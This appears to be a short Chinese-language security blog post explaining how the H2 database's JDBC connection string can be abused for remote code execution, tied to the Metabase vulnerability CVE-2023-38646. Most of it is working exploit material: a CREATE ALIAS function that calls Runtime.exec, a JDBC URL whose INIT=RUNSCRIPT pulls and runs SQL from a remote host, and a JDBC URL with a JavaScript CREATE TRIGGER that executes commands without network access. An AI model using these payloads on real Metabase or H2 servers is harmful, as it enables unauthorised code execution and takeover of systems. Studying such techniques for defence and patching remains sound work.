H2 JDBC Attack
最近爆出的CVE-2023-38646 metabase RCE,其本质上就是拿到setup-token后在/validate路由的设置数据源时验证是否连接成功功能中可以控制H2的JDBC URL连接串并进行测试连接
在H2中可以通过CREATE ALIAS
和CREATE TRIGGER
来创建自定义函数
比如,可以通过CREATE ALIAS
来创建一个shell函数并调用
CREATE ALIAS shell AS $$void shell(String s) throws Exception { java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a Calculator');
执行上述两条sql语句即可RCE
在只能控制JDBC连接地址的情况下,此时如何RCE呢?
http://www.h2database.com/html/features.html#execute_sql_on_connection
在官方给出的例子中,可以看到在设置JDBC URL连接串时可以通过INIT=runscript from 'xxx.sql'
来执行sql文件
org.h2.store.fs.FilePathDisk
实际上使用的是URL类来加载,即可以加载远程的sql文件
jdbc:h2:mem:xux;INIT=RUNSCRIPT FROM 'http://127.0.0.1:2333/exp.sql'
但是加载远程的sql文件,需要环境能够出网。
对于不出网的环境,可以使用CREATE TRIGGER
javax.script.ScriptEngineManager
可以用于创建 org.h2.api.Trigger
对象
在TriggerObject#loadFromSource
方法中可以看到
满足SourceCompiler.isJavaxScriptSource(this.triggerSource)
就会编译并执行
private static boolean isJavascriptSource(String var0) {
return var0.startsWith("//javascript");
}
而满足的条件就是以//javascript
开头
jdbc:h2:mem:xux123;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('open -a Calculator')
$$